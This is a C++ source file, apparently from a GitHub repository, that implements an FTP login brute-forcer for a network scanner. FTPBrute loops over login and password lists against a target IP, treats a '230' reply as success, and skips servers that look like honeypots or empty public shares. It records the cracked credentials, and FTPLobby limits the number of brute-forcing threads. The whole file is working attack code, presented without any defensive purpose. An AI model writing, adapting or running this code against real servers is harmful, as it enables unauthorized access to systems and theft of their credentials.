-
Notifications
You must be signed in to change notification settings - Fork 79
/
Copy pathFTPAuth.cpp
110 lines (90 loc) · 3.01 KB
/
FTPAuth.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#include "FTPAuth.h"
#include "FileUpdater.h"
bool FTPA::checkOutput(const string *buffer) {
if(Utils::ustrstr(*buffer, "230") != -1) {
return true;
}
return false;
}
lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
string buffer;
string lpString;
lopaStr lps = {"UNKNOWN", "", ""};
int res = 0;
int passCounter = 0;
int rowIndex = -1;
char login[32] = {0};
char pass[32] = {0};
for (int i = 0; i < MaxFTPLogin; ++i)
{
if(!globalScanFlag) return lps;
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
strcpy(login, ftpLoginLst[i]);
if (strlen(login) <= 1) continue;
for (int j = 0; j < MaxFTPPass; ++j)
{
if(!globalScanFlag) return lps;
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
strcpy(pass, ftpPassLst[j]);
if (strlen(pass) <= 1) continue;
lpString = string(login) + ":" + string(pass);
Connector con;
res = con.nConnect(ip, port, &buffer, NULL, NULL, &lpString);
if (res == -2) {
rowIndex = Utils::addBARow(QString(ip), "--", "FAIL", rowIndex);
return lps;
}
else if (res != -1) {
if (buffer.find("syslog") != -1 || buffer.find("CFG-PAGE") != -1
|| buffer.find("L3_default") != -1
|| buffer.find("avpport") != -1
) {
if (gNegDebugMode) {
stt->doEmitionDebugFoundData("Ignoring " + QString(ip) + " (syslog or CFG-PAGE or L3_default or avpport)");
}
return lps;
}
int rootDir = std::count(buffer.begin(), buffer.end(), '.');
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
if (3 == rootDir && 2 == ps->directoryCount) {
if (gNegDebugMode) {
stt->doEmitionDebugFoundData("Ignoring " + QString(ip) + " (empty)");
}
return lps;
}
if (3 == ps->directoryCount || 1 == ps->directoryCount) {
if (-1 != buffer.find("pub") || -1 != buffer.find("incoming")) {
if (gNegDebugMode) {
stt->doEmitionDebugFoundData("Ignoring " + QString(ip) + " (pub or incoming)");
}
return lps;
}
}
if (!globalScanFlag) return lps;
strcpy(lps.login, login);
strcpy(lps.pass, pass);
rowIndex = Utils::addBARow(QString(ip), QString(login) + ":" + QString(pass), "OK", rowIndex);
return lps;
};
rowIndex = Utils::addBARow(QString(ip), QString(login) + ":" + QString(pass), QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%", rowIndex);
++passCounter;
Sleep(50);
}
}
rowIndex = Utils::addBARow(QString(ip), "--", "FAIL", rowIndex);
return lps;
}
lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
++baCount;
++BrutingThrds;
stt->doEmitionUpdateArc(gTargets);
const lopaStr &lps = FTPBrute(ip, port, ps);
--BrutingThrds;
return lps;
} else {
lopaStr lps = {"UNKNOWN", "", ""};
return lps;
}
}